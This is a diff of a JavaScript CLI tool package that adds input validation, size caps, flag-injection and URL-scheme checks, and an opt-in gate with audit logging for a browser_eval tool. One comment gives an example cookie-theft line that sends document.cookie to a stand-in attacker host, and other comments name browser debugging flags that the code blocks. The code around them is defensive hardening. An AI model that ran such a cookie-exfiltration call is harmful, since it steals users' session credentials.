- package/packages/@monomind/cli/dist/src/transfer/store/download.js +113 -24
- package/packages/@monomind/cli/dist/src/transfer/store/publish.d.ts +1 -1
- package/packages/@monomind/cli/dist/src/transfer/store/publish.js +13 -14
- package/packages/@monomind/cli/dist/src/transfer/store/registry.d.ts +3 -3
- package/packages/@monomind/cli/dist/src/transfer/store/registry.js +32 -16
- package/packages/@monomind/cli/dist/src/update/checker.js +17 -4
- package/packages/@monomind/cli/dist/src/update/executor.js +25 -20
- package/packages/@monomind/cli/dist/src/update/rate-limiter.d.ts +11 -0
- package/packages/@monomind/cli/dist/src/update/rate-limiter.js +23 -3
- package/packages/@monomind/cli/dist/src/utils/parse-jsonl.d.ts +6 -0
- package/packages/@monomind/cli/dist/src/utils/parse-jsonl.js +22 -0
- package/packages/@monomind/cli/dist/src/workflow/condition-evaluator.js +37 -3
- package/packages/@monomind/cli/dist/src/workflow/dag-builder.js +27 -11
- package/packages/@monomind/cli/dist/src/workflow/dag-executor.js +51 -13
- package/packages/@monomind/cli/dist/src/workflow/dsl-schema.d.ts +3 -0
- package/packages/@monomind/cli/dist/src/workflow/dsl-schema.js +6 -2
- package/packages/@monomind/cli/dist/src/workflow/template-engine.js +7 -0
- package/packages/@monomind/cli/dist/src/workflow/workflow-executor.js +95 -14
- package/packages/@monomind/cli/package.json +5 -2
- package/packages/@monomind/guidance/README.md +0 -3
- package/packages/@monomind/shared/README.md +0 -1
- package/packages/@monomind/shared/dist/types/consensus-audit.d.ts +3 -1
- package/packages/README.md +15 -16
- package/.claude/agents/design/design-brand-guardian.md +0 -323
- package/.claude/agents/design/design-image-prompt-engineer.md +0 -237
- package/.claude/agents/design/design-inclusive-visuals-specialist.md +0 -72
- package/.claude/agents/design/design-ui-designer.md +0 -384
- package/.claude/agents/design/design-ux-architect.md +0 -470
- package/.claude/agents/design/design-ux-researcher.md +0 -330
- package/.claude/agents/design/design-visual-storyteller.md +0 -150
- package/.claude/agents/design/design-whimsy-injector.md +0 -439
- package/.claude/agents/v3/integration-architect.md +0 -338
- package/.claude/commands/analysis/COMMAND_COMPLIANCE_REPORT.md +0 -54
- package/.claude/commands/coordination/init.md +0 -44
- package/.claude/commands/coordination/orchestrate.md +0 -43
- package/.claude/commands/coordination/spawn.md +0 -45
- package/.claude/commands/github/code-review-swarm.md +0 -550
- package/.claude/commands/github/code-review.md +0 -25
- package/.claude/commands/github/github-swarm.md +0 -121
- package/.claude/commands/github/issue-triage.md +0 -25
- package/.claude/commands/github/multi-repo-swarm.md +0 -519
- package/.claude/commands/github/pr-enhance.md +0 -26
- package/.claude/commands/github/project-board-sync.md +0 -471
- package/.claude/commands/github/release-swarm.md +0 -590
- package/.claude/commands/github/repo-analyze.md +0 -25
- package/.claude/commands/github/swarm-issue.md +0 -482
- package/.claude/commands/github/swarm-pr.md +0 -310
- package/.claude/commands/github/workflow-automation.md +0 -468
- package/.claude/commands/hive-mind/hive-mind-metrics.md +0 -8
- package/.claude/commands/hive-mind/hive-mind-resume.md +0 -8
- package/.claude/commands/hive-mind/hive-mind-sessions.md +0 -8
- package/.claude/commands/hive-mind/hive-mind-wizard.md +0 -8
- package/.claude/commands/list-agents.md +0 -17
- package/.claude/commands/memory/memory-persist.md +0 -25
- package/.claude/commands/memory/memory-usage.md +0 -25
- package/.claude/commands/memory/neural.md +0 -47
- package/.claude/commands/metrics.md +0 -11
- package/.claude/commands/monitoring/real-time-view.md +0 -25
- package/.claude/commands/monitoring/swarm-monitor.md +0 -25
- package/.claude/commands/monomind-createtask.md +0 -302
- package/.claude/commands/monomind-help.md +0 -103
- package/.claude/commands/monomind-memory.md +0 -107
- package/.claude/commands/monomind-repeat.md +0 -149
- package/.claude/commands/monomind-swarm.md +0 -205
- package/.claude/commands/optimization/cache-manage.md +0 -25
- package/.claude/commands/optimization/topology-optimize.md +0 -25
- package/.claude/commands/pair/commands.md +0 -546
- package/.claude/commands/pair/config.md +0 -510
- package/.claude/commands/pair/start.md +0 -209
- package/.claude/commands/use-agent.md +0 -67
- package/.claude/skills/monomind-createtask/SKILL.md +0 -269
- package/.claude/skills/monomind-task-engine/SKILL.md +0 -358
- /package/.claude/agents/{v3 → specialists}/memory-specialist.md +0 -0
- /package/.claude/agents/{v3 → specialists}/performance-engineer.md +0 -0
- /package/.claude/agents/{v3 → specialists}/queen-coordinator.md +0 -0
- /package/.claude/agents/{v3 → specialists}/security-architect.md +0 -0
|
@@ -14,11 +14,18 @@
|
|
|
14
14
|
const MAX_STRING_LENGTH = 100_000; // 100KB max for any string input
|
|
15
15
|
const MAX_BATCH_SIZE = 500; // Max entries per batch operation
|
|
16
16
|
const MAX_TOP_K = 100; // Max results per query
|
|
17
|
+
// Reject NUL and C0 control chars except \t \n \r. NUL truncates strings at
|
|
18
|
+
// the C-API boundary in some bridge backends (key collision); ANSI/control
|
|
19
|
+
// chars enable terminal injection when values are echoed back; \r/\n in
|
|
20
|
+
// values fed to log files breaks log-line integrity.
|
|
21
|
+
const CONTROL_CHAR_RE = /[\x00-\x08\x0B\x0C\x0E-\x1F]/;
|
|
17
22
|
function validateString(value, name, maxLen = MAX_STRING_LENGTH) {
|
|
18
23
|
if (typeof value !== 'string' || value.length === 0)
|
|
19
24
|
return null;
|
|
20
25
|
if (value.length > maxLen)
|
|
21
26
|
return null;
|
|
27
|
+
if (CONTROL_CHAR_RE.test(value))
|
|
28
|
+
return null;
|
|
22
29
|
return value;
|
|
23
30
|
}
|
|
24
31
|
function validatePositiveInt(value, defaultVal, max) {
|
|
@@ -34,8 +41,11 @@ function validateScore(value, defaultVal) {
|
|
|
34
41
|
}
|
|
35
42
|
function sanitizeError(error) {
|
|
36
43
|
if (error instanceof Error) {
|
|
37
|
-
// Strip filesystem paths from error messages
|
|
38
|
-
|
|
44
|
+
// Strip filesystem paths from error messages — match path components even
|
|
45
|
+
// when no trailing slash (path at end of message before whitespace, colon, EOL)
|
|
46
|
+
return error.message
|
|
47
|
+
.replace(/\/[^\s:]+(\/|(?=\s|:|$))/g, '<path>/')
|
|
48
|
+
.substring(0, 500);
|
|
39
49
|
}
|
|
40
50
|
return 'Internal error';
|
|
41
51
|
}
|
|
@@ -81,7 +91,7 @@ export const agentdbControllers = {
|
|
|
81
91
|
const bridge = await getBridge();
|
|
82
92
|
const controllers = await bridge.bridgeListControllers();
|
|
83
93
|
if (!controllers)
|
|
84
|
-
return { available: false, controllers: [], error: 'AgentDB bridge not available — @
|
|
94
|
+
return { available: false, controllers: [], error: 'AgentDB bridge not available — @monomind/memory not installed or missing controller-registry. Use memory_store/memory_search tools instead.' };
|
|
85
95
|
return {
|
|
86
96
|
available: true,
|
|
87
97
|
controllers,
|
|
@@ -405,9 +415,17 @@ export const agentdbConsolidate = {
|
|
|
405
415
|
handler: async (params) => {
|
|
406
416
|
try {
|
|
407
417
|
const bridge = await getBridge();
|
|
418
|
+
// Reject NaN and Infinity. typeof === 'number' returns true for both.
|
|
419
|
+
// NaN propagates through arithmetic and corrupts consolidation accounting;
|
|
420
|
+
// Infinity makes `entry.age >= minAge` always false, silently no-op.
|
|
421
|
+
const minAge = typeof params.minAge === 'number' && Number.isFinite(params.minAge)
|
|
422
|
+
? Math.max(0, Math.min(params.minAge, 24 * 365 * 10))
|
|
423
|
+
: undefined;
|
|
408
424
|
const result = await bridge.bridgeConsolidate({
|
|
409
|
-
minAge
|
|
410
|
-
maxEntries:
|
|
425
|
+
minAge,
|
|
426
|
+
maxEntries: params.maxEntries !== undefined
|
|
427
|
+
? validatePositiveInt(params.maxEntries, 1000, 10_000)
|
|
428
|
+
: undefined,
|
|
411
429
|
});
|
|
412
430
|
return result ?? { success: false, error: 'AgentDB bridge not available. Use memory_store/memory_search instead.' };
|
|
413
431
|
}
|
|
@@ -457,7 +475,11 @@ export const agentdbBatch = {
|
|
|
457
475
|
if (params.entries.length > MAX_BATCH_SIZE) {
|
|
458
476
|
return { success: false, error: `Too many entries: ${params.entries.length}. Max is ${MAX_BATCH_SIZE}` };
|
|
459
477
|
}
|
|
460
|
-
// Validate each entry
|
|
478
|
+
// Validate each entry. Aggregate-byte cap prevents 500 entries × 100KB
|
|
479
|
+
// values = 50MB single-call payloads from spiking Node heap to ~200MB
|
|
480
|
+
// (UTF-16 doubling + downstream copies in the bridge layer).
|
|
481
|
+
const MAX_BATCH_BYTES = 1_048_576; // 1 MiB total
|
|
482
|
+
let totalBytes = 0;
|
|
461
483
|
const validatedEntries = [];
|
|
462
484
|
for (let i = 0; i < params.entries.length; i++) {
|
|
463
485
|
const entry = params.entries[i];
|
|
@@ -468,6 +490,10 @@ export const agentdbBatch = {
|
|
|
468
490
|
if (!key)
|
|
469
491
|
return { success: false, error: `entries[${i}].key is required (non-empty string)` };
|
|
470
492
|
const value = validateString(entry.value, `entries[${i}].value`);
|
|
493
|
+
totalBytes += key.length + (value?.length ?? 0);
|
|
494
|
+
if (totalBytes > MAX_BATCH_BYTES) {
|
|
495
|
+
return { success: false, error: `Batch payload exceeds ${MAX_BATCH_BYTES} bytes` };
|
|
496
|
+
}
|
|
471
497
|
validatedEntries.push({ key, value: value ?? undefined });
|
|
472
498
|
}
|
|
473
499
|
const bridge = await getBridge();
|
|
@@ -502,7 +528,8 @@ export const agentdbContextSynthesize = {
|
|
|
502
528
|
// validateExternalContent: guard against prompt injection in synthesized context
|
|
503
529
|
// Source: https://arxiv.org/abs/2302.12173, https://arxiv.org/abs/2310.12815
|
|
504
530
|
try {
|
|
505
|
-
const
|
|
531
|
+
const secMod = await import('@monomind/security').catch(() => null);
|
|
532
|
+
const validateExternalContent = secMod?.validateExternalContent;
|
|
506
533
|
if (validateExternalContent) {
|
|
507
534
|
const check = await validateExternalContent(query, 'agentdb_context-synthesize query');
|
|
508
535
|
if (!check.safe) {
|
|
@@ -39,7 +39,7 @@ export const analyzeDiffTool = {
|
|
|
39
39
|
},
|
|
40
40
|
handler: async (params) => {
|
|
41
41
|
const ref = params.ref || 'HEAD';
|
|
42
|
-
const includeFileRisks = params.includeFileRisks
|
|
42
|
+
const includeFileRisks = params.includeFileRisks === true;
|
|
43
43
|
const includeReviewers = params.includeReviewers !== false;
|
|
44
44
|
const useRuVector = params.useRuVector !== false;
|
|
45
45
|
try {
|
|
@@ -233,21 +233,30 @@ export const fileRiskTool = {
|
|
|
233
233
|
required: ['path'],
|
|
234
234
|
},
|
|
235
235
|
handler: async (params) => {
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
236
|
+
try {
|
|
237
|
+
const file = {
|
|
238
|
+
path: params.path,
|
|
239
|
+
status: params.status || 'modified',
|
|
240
|
+
additions: params.additions || 0,
|
|
241
|
+
deletions: params.deletions || 0,
|
|
242
|
+
hunks: 1,
|
|
243
|
+
binary: false,
|
|
244
|
+
};
|
|
245
|
+
const risk = assessFileRisk(file);
|
|
246
|
+
return {
|
|
247
|
+
file: file.path,
|
|
248
|
+
risk: risk.risk,
|
|
249
|
+
score: risk.score,
|
|
250
|
+
reasons: risk.reasons,
|
|
251
|
+
};
|
|
252
|
+
}
|
|
253
|
+
catch (error) {
|
|
254
|
+
return {
|
|
255
|
+
error: true,
|
|
256
|
+
message: error instanceof Error ? error.message : String(error),
|
|
257
|
+
path: params.path,
|
|
258
|
+
};
|
|
259
|
+
}
|
|
251
260
|
},
|
|
252
261
|
};
|
|
253
262
|
/**
|
|
@@ -73,12 +73,10 @@ export async function tryImportOrInstall(packageName, options = {}) {
|
|
|
73
73
|
const installed = await autoInstallPackage(packageName, options);
|
|
74
74
|
if (installed) {
|
|
75
75
|
try {
|
|
76
|
-
|
|
77
|
-
// Add a timestamp query parameter to force a fresh import
|
|
78
|
-
const cacheBuster = `?t=${Date.now()}`;
|
|
79
|
-
return await import(`${packageName}${cacheBuster}`);
|
|
76
|
+
return await import(packageName);
|
|
80
77
|
}
|
|
81
78
|
catch {
|
|
79
|
+
// ESM module cache cannot be busted programmatically; a server restart is required
|
|
82
80
|
console.error(`[monomind] ${packageName} installed but failed to load. Restart MCP server.`);
|
|
83
81
|
return null;
|
|
84
82
|
}
|
|
@@ -108,11 +106,11 @@ export function resetInstallAttempts() {
|
|
|
108
106
|
* Optional package dependencies and their purposes
|
|
109
107
|
*/
|
|
110
108
|
export const OPTIONAL_PACKAGES = {
|
|
111
|
-
'@
|
|
109
|
+
'@monomind/aidefence': {
|
|
112
110
|
description: 'AI manipulation defense (prompt injection, PII detection)',
|
|
113
111
|
tools: ['aidefence_scan', 'aidefence_analyze', 'aidefence_stats', 'aidefence_learn'],
|
|
114
112
|
},
|
|
115
|
-
'@
|
|
113
|
+
'@monomind/embeddings': {
|
|
116
114
|
description: 'Vector embeddings with ONNX support',
|
|
117
115
|
tools: ['embeddings_generate', 'embeddings_search', 'embeddings_batch'],
|
|
118
116
|
},
|
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
* Allows programmatic control of the autopilot loop via MCP.
|
|
6
6
|
*
|
|
7
7
|
* ADR-072: Autopilot Integration
|
|
8
|
-
* @module @
|
|
8
|
+
* @module @monomind/cli/mcp-tools/autopilot
|
|
9
9
|
*/
|
|
10
10
|
import { loadState, saveState, appendLog, loadLog, discoverTasks, isTerminal, tryLoadLearning, validateNumber, validateTaskSources, VALID_TASK_SOURCES, } from '../autopilot-state.js';
|
|
11
11
|
function ok(data) {
|
|
@@ -175,7 +175,17 @@ const autopilotHistory = {
|
|
|
175
175
|
required: ['query'],
|
|
176
176
|
},
|
|
177
177
|
handler: async (params) => {
|
|
178
|
-
|
|
178
|
+
// Reject non-string queries and cap length so embedding/regex on the
|
|
179
|
+
// input cannot become a CPU/memory amplifier. Without this an attacker
|
|
180
|
+
// could pass an object whose toString() returns multi-MB content.
|
|
181
|
+
if (params.query !== undefined && typeof params.query !== 'string') {
|
|
182
|
+
return ok({ query: '', results: [], error: 'query must be a string' });
|
|
183
|
+
}
|
|
184
|
+
const raw = params.query ?? '';
|
|
185
|
+
if (raw.length > 1024) {
|
|
186
|
+
return ok({ query: '', results: [], error: 'query too long (max 1024 chars)' });
|
|
187
|
+
}
|
|
188
|
+
const query = raw;
|
|
179
189
|
const limit = validateNumber(params.limit, 1, 100, 10);
|
|
180
190
|
const learning = await tryLoadLearning();
|
|
181
191
|
if (learning) {
|
|
@@ -1,18 +1,119 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Browser MCP Tools
|
|
3
3
|
*
|
|
4
|
-
* CLI integration for @
|
|
4
|
+
* CLI integration for @monomind/browser package.
|
|
5
5
|
* Provides browser automation tools for web navigation, interaction, and data extraction.
|
|
6
6
|
*/
|
|
7
|
+
const MAX_BROWSER_SESSIONS = 100;
|
|
8
|
+
const SESSION_TTL_MS = 30 * 60 * 1000; // 30 minutes
|
|
7
9
|
// Session registry for multi-session support
|
|
8
10
|
const browserSessions = new Map();
|
|
11
|
+
function pruneExpiredSessions() {
|
|
12
|
+
const cutoff = Date.now() - SESSION_TTL_MS;
|
|
13
|
+
for (const [id, info] of browserSessions) {
|
|
14
|
+
if (new Date(info.lastActivity).getTime() < cutoff) {
|
|
15
|
+
browserSessions.delete(id);
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
/**
|
|
20
|
+
* SECURITY: Reject any positional that begins with `-`. execFile defeats shell
|
|
21
|
+
* injection but does NOT prevent agent-browser itself from interpreting a
|
|
22
|
+
* `-`-prefixed token as a flag. Combined with `agent-browser`'s lack of
|
|
23
|
+
* documented `--` end-of-options handling, an unvalidated positional like
|
|
24
|
+
* `--remote-debugging-port=9222` or `--user-data-dir=/path` can flip the
|
|
25
|
+
* underlying browser into a debuggable / arbitrary-profile mode.
|
|
26
|
+
*/
|
|
27
|
+
function rejectFlagLike(value, field) {
|
|
28
|
+
if (typeof value !== 'string') {
|
|
29
|
+
throw new Error(`${field}: must be a string`);
|
|
30
|
+
}
|
|
31
|
+
if (value.startsWith('-')) {
|
|
32
|
+
throw new Error(`${field}: must not start with '-' (flag-injection defense)`);
|
|
33
|
+
}
|
|
34
|
+
return value;
|
|
35
|
+
}
|
|
36
|
+
/** Validate a session ID against a strict allowlist. */
|
|
37
|
+
function validateSessionId(value) {
|
|
38
|
+
if (value === undefined || value === null || value === '')
|
|
39
|
+
return 'default';
|
|
40
|
+
if (typeof value !== 'string' || !/^[A-Za-z0-9_-]{1,64}$/.test(value)) {
|
|
41
|
+
throw new Error('session: must match ^[A-Za-z0-9_-]{1,64}$');
|
|
42
|
+
}
|
|
43
|
+
return value;
|
|
44
|
+
}
|
|
45
|
+
/**
|
|
46
|
+
* Validate a URL against a scheme allowlist. Without this, `file://`,
|
|
47
|
+
* `data:`, `javascript:`, `chrome://` schemes give SSRF / local-file read /
|
|
48
|
+
* scheme-abuse on the underlying browser.
|
|
49
|
+
*/
|
|
50
|
+
const ALLOWED_URL_SCHEMES = new Set(['http:', 'https:', 'about:']);
|
|
51
|
+
function validateUrl(value) {
|
|
52
|
+
if (typeof value !== 'string')
|
|
53
|
+
throw new Error('url: must be a string');
|
|
54
|
+
if (value.length > 4096)
|
|
55
|
+
throw new Error('url: too long (max 4096)');
|
|
56
|
+
let parsed;
|
|
57
|
+
try {
|
|
58
|
+
parsed = new URL(value);
|
|
59
|
+
}
|
|
60
|
+
catch {
|
|
61
|
+
throw new Error(`url: not a valid URL: ${value}`);
|
|
62
|
+
}
|
|
63
|
+
if (!ALLOWED_URL_SCHEMES.has(parsed.protocol)) {
|
|
64
|
+
throw new Error(`url: scheme "${parsed.protocol}" not allowed (only http/https/about)`);
|
|
65
|
+
}
|
|
66
|
+
return value;
|
|
67
|
+
}
|
|
68
|
+
/**
|
|
69
|
+
* Validate a screenshot path. Resolved real path must be within
|
|
70
|
+
* `<projectRoot>/.monomind/screenshots`. Refuses to overwrite existing files
|
|
71
|
+
* so a malicious LLM action cannot clobber e.g. `~/.ssh/authorized_keys` or
|
|
72
|
+
* `.git/hooks/pre-commit`.
|
|
73
|
+
*/
|
|
74
|
+
async function validateScreenshotPath(value) {
|
|
75
|
+
if (typeof value !== 'string' || value.length === 0) {
|
|
76
|
+
throw new Error('path: must be a non-empty string');
|
|
77
|
+
}
|
|
78
|
+
if (value.startsWith('-')) {
|
|
79
|
+
throw new Error('path: must not start with "-"');
|
|
80
|
+
}
|
|
81
|
+
const path = await import('path');
|
|
82
|
+
const fs = await import('fs');
|
|
83
|
+
const projectRoot = process.cwd();
|
|
84
|
+
const root = path.resolve(projectRoot, '.monomind', 'screenshots');
|
|
85
|
+
await fs.promises.mkdir(root, { recursive: true });
|
|
86
|
+
const resolved = path.resolve(value);
|
|
87
|
+
if (!resolved.startsWith(root + path.sep) && resolved !== root) {
|
|
88
|
+
throw new Error(`path: must be within ${root}`);
|
|
89
|
+
}
|
|
90
|
+
if (fs.existsSync(resolved)) {
|
|
91
|
+
throw new Error(`path: refuses to overwrite existing file at ${resolved}`);
|
|
92
|
+
}
|
|
93
|
+
return resolved;
|
|
94
|
+
}
|
|
95
|
+
/** Cap on browser_eval scripts so an attacker can't pump arbitrary-size payloads. */
|
|
96
|
+
const MAX_BROWSER_EVAL_BYTES = 16 * 1024;
|
|
9
97
|
/**
|
|
10
98
|
* Execute agent-browser CLI command
|
|
11
99
|
*/
|
|
12
100
|
async function execBrowserCommand(args, session = 'default') {
|
|
13
101
|
const { execFileSync } = await import('child_process');
|
|
14
102
|
try {
|
|
15
|
-
|
|
103
|
+
// Validate session even when the upstream handler forgot.
|
|
104
|
+
const safeSession = validateSessionId(session);
|
|
105
|
+
// Refuse any user-supplied positional that looks like a flag.
|
|
106
|
+
// We can be permissive here only because every handler that prepends
|
|
107
|
+
// its own subcommand keyword (e.g. 'open', 'click') passes that subcommand
|
|
108
|
+
// as args[0] — those known-good keywords are safe; the rest came from
|
|
109
|
+
// tool input and must already have passed handler-level validation, but
|
|
110
|
+
// we re-check defense-in-depth.
|
|
111
|
+
for (let i = 1; i < args.length; i++) {
|
|
112
|
+
if (typeof args[i] !== 'string') {
|
|
113
|
+
throw new Error(`internal: arg ${i} must be a string`);
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
const fullArgs = ['--session', safeSession, '--json', ...args];
|
|
16
117
|
const result = execFileSync('agent-browser', fullArgs, {
|
|
17
118
|
encoding: 'utf-8',
|
|
18
119
|
timeout: 30000,
|
|
@@ -75,13 +176,34 @@ export const browserTools = [
|
|
|
75
176
|
required: ['url'],
|
|
76
177
|
},
|
|
77
178
|
handler: async (input) => {
|
|
78
|
-
const
|
|
179
|
+
const raw = input;
|
|
180
|
+
let url;
|
|
181
|
+
let sessionId;
|
|
182
|
+
try {
|
|
183
|
+
url = validateUrl(raw.url);
|
|
184
|
+
sessionId = validateSessionId(raw.session);
|
|
185
|
+
}
|
|
186
|
+
catch (e) {
|
|
187
|
+
return {
|
|
188
|
+
content: [{ type: 'text', text: JSON.stringify({ success: false, error: e.message }) }],
|
|
189
|
+
isError: true,
|
|
190
|
+
};
|
|
191
|
+
}
|
|
79
192
|
const args = ['open', url];
|
|
80
|
-
if (waitUntil
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
193
|
+
if (raw.waitUntil && typeof raw.waitUntil === 'string'
|
|
194
|
+
&& ['load', 'domcontentloaded', 'networkidle'].includes(raw.waitUntil)) {
|
|
195
|
+
args.push('--wait-until', raw.waitUntil);
|
|
196
|
+
}
|
|
197
|
+
// Always prune expired sessions, not just on create — otherwise
|
|
198
|
+
// sessions that re-use an existing key never trigger eviction.
|
|
199
|
+
pruneExpiredSessions();
|
|
84
200
|
if (!browserSessions.has(sessionId)) {
|
|
201
|
+
if (browserSessions.size >= MAX_BROWSER_SESSIONS) {
|
|
202
|
+
const oldest = [...browserSessions.entries()]
|
|
203
|
+
.sort((a, b) => a[1].lastActivity.localeCompare(b[1].lastActivity))[0];
|
|
204
|
+
if (oldest)
|
|
205
|
+
browserSessions.delete(oldest[0]);
|
|
206
|
+
}
|
|
85
207
|
browserSessions.set(sessionId, {
|
|
86
208
|
sessionId,
|
|
87
209
|
createdAt: new Date().toISOString(),
|
|
@@ -203,13 +325,27 @@ export const browserTools = [
|
|
|
203
325
|
},
|
|
204
326
|
},
|
|
205
327
|
handler: async (input) => {
|
|
206
|
-
const
|
|
328
|
+
const raw = input;
|
|
329
|
+
let safeSession;
|
|
330
|
+
let safePath;
|
|
331
|
+
try {
|
|
332
|
+
safeSession = validateSessionId(raw.session);
|
|
333
|
+
if (raw.path !== undefined) {
|
|
334
|
+
safePath = await validateScreenshotPath(raw.path);
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
catch (e) {
|
|
338
|
+
return {
|
|
339
|
+
content: [{ type: 'text', text: JSON.stringify({ success: false, error: e.message }) }],
|
|
340
|
+
isError: true,
|
|
341
|
+
};
|
|
342
|
+
}
|
|
207
343
|
const args = ['screenshot'];
|
|
208
|
-
if (
|
|
209
|
-
args.push(
|
|
210
|
-
if (fullPage)
|
|
344
|
+
if (safePath)
|
|
345
|
+
args.push(safePath);
|
|
346
|
+
if (raw.fullPage === true)
|
|
211
347
|
args.push('--full');
|
|
212
|
-
return execBrowserCommand(args,
|
|
348
|
+
return execBrowserCommand(args, safeSession);
|
|
213
349
|
},
|
|
214
350
|
},
|
|
215
351
|
// ==========================================================================
|
|
@@ -232,7 +368,7 @@ export const browserTools = [
|
|
|
232
368
|
},
|
|
233
369
|
handler: async (input) => {
|
|
234
370
|
const { target, session, button, count } = input;
|
|
235
|
-
const args = ['click', target];
|
|
371
|
+
const args = ['click', rejectFlagLike(target, 'target')];
|
|
236
372
|
if (button)
|
|
237
373
|
args.push('--button', button);
|
|
238
374
|
if (count)
|
|
@@ -256,7 +392,7 @@ export const browserTools = [
|
|
|
256
392
|
},
|
|
257
393
|
handler: async (input) => {
|
|
258
394
|
const { target, value, session } = input;
|
|
259
|
-
return execBrowserCommand(['fill', target, value], session);
|
|
395
|
+
return execBrowserCommand(['fill', rejectFlagLike(target, 'target'), value], session);
|
|
260
396
|
},
|
|
261
397
|
},
|
|
262
398
|
{
|
|
@@ -276,7 +412,7 @@ export const browserTools = [
|
|
|
276
412
|
},
|
|
277
413
|
handler: async (input) => {
|
|
278
414
|
const { target, text, session, delay } = input;
|
|
279
|
-
const args = ['type', target, text];
|
|
415
|
+
const args = ['type', rejectFlagLike(target, 'target'), text];
|
|
280
416
|
if (delay)
|
|
281
417
|
args.push('--delay', String(delay));
|
|
282
418
|
return execBrowserCommand(args, session);
|
|
@@ -297,7 +433,7 @@ export const browserTools = [
|
|
|
297
433
|
},
|
|
298
434
|
handler: async (input) => {
|
|
299
435
|
const { key, session } = input;
|
|
300
|
-
return execBrowserCommand(['press', key], session);
|
|
436
|
+
return execBrowserCommand(['press', rejectFlagLike(key, 'key')], session);
|
|
301
437
|
},
|
|
302
438
|
},
|
|
303
439
|
{
|
|
@@ -315,7 +451,7 @@ export const browserTools = [
|
|
|
315
451
|
},
|
|
316
452
|
handler: async (input) => {
|
|
317
453
|
const { target, session } = input;
|
|
318
|
-
return execBrowserCommand(['hover', target], session);
|
|
454
|
+
return execBrowserCommand(['hover', rejectFlagLike(target, 'target')], session);
|
|
319
455
|
},
|
|
320
456
|
},
|
|
321
457
|
{
|
|
@@ -334,7 +470,7 @@ export const browserTools = [
|
|
|
334
470
|
},
|
|
335
471
|
handler: async (input) => {
|
|
336
472
|
const { target, value, session } = input;
|
|
337
|
-
return execBrowserCommand(['select', target, value], session);
|
|
473
|
+
return execBrowserCommand(['select', rejectFlagLike(target, 'target'), value], session);
|
|
338
474
|
},
|
|
339
475
|
},
|
|
340
476
|
{
|
|
@@ -515,8 +651,51 @@ export const browserTools = [
|
|
|
515
651
|
required: ['script'],
|
|
516
652
|
},
|
|
517
653
|
handler: async (input) => {
|
|
518
|
-
|
|
519
|
-
|
|
654
|
+
// SECURITY: browser_eval runs arbitrary JS in the page context with the
|
|
655
|
+
// browser's session cookies. Treat as opt-in: require the operator to
|
|
656
|
+
// explicitly enable via env var. Without this gate, a single tool call
|
|
657
|
+
// could `fetch('https://attacker/?d='+btoa(document.cookie))` against
|
|
658
|
+
// any logged-in site reachable in the active browser session.
|
|
659
|
+
if (process.env.MONOMIND_ALLOW_BROWSER_EVAL !== '1') {
|
|
660
|
+
return {
|
|
661
|
+
content: [{ type: 'text', text: JSON.stringify({
|
|
662
|
+
success: false,
|
|
663
|
+
error: 'browser_eval is disabled by default. Set MONOMIND_ALLOW_BROWSER_EVAL=1 to enable.',
|
|
664
|
+
}) }],
|
|
665
|
+
isError: true,
|
|
666
|
+
};
|
|
667
|
+
}
|
|
668
|
+
const raw = input;
|
|
669
|
+
if (typeof raw.script !== 'string') {
|
|
670
|
+
return {
|
|
671
|
+
content: [{ type: 'text', text: JSON.stringify({ success: false, error: 'script: must be a string' }) }],
|
|
672
|
+
isError: true,
|
|
673
|
+
};
|
|
674
|
+
}
|
|
675
|
+
if (raw.script.length > MAX_BROWSER_EVAL_BYTES) {
|
|
676
|
+
return {
|
|
677
|
+
content: [{ type: 'text', text: JSON.stringify({ success: false, error: `script: too long (max ${MAX_BROWSER_EVAL_BYTES})` }) }],
|
|
678
|
+
isError: true,
|
|
679
|
+
};
|
|
680
|
+
}
|
|
681
|
+
let safeSession;
|
|
682
|
+
try {
|
|
683
|
+
safeSession = validateSessionId(raw.session);
|
|
684
|
+
}
|
|
685
|
+
catch (e) {
|
|
686
|
+
return {
|
|
687
|
+
content: [{ type: 'text', text: JSON.stringify({ success: false, error: e.message }) }],
|
|
688
|
+
isError: true,
|
|
689
|
+
};
|
|
690
|
+
}
|
|
691
|
+
// Audit log every eval call so it's traceable in hindsight.
|
|
692
|
+
try {
|
|
693
|
+
const crypto = await import('crypto');
|
|
694
|
+
const hash = crypto.createHash('sha256').update(raw.script).digest('hex').slice(0, 16);
|
|
695
|
+
console.error(`[${new Date().toISOString()}] AUDIT browser_eval session=${safeSession} script_sha256_16=${hash}`);
|
|
696
|
+
}
|
|
697
|
+
catch { /* best-effort */ }
|
|
698
|
+
return execBrowserCommand(['eval', raw.script], safeSession);
|
|
520
699
|
},
|
|
521
700
|
},
|
|
522
701
|
// ==========================================================================
|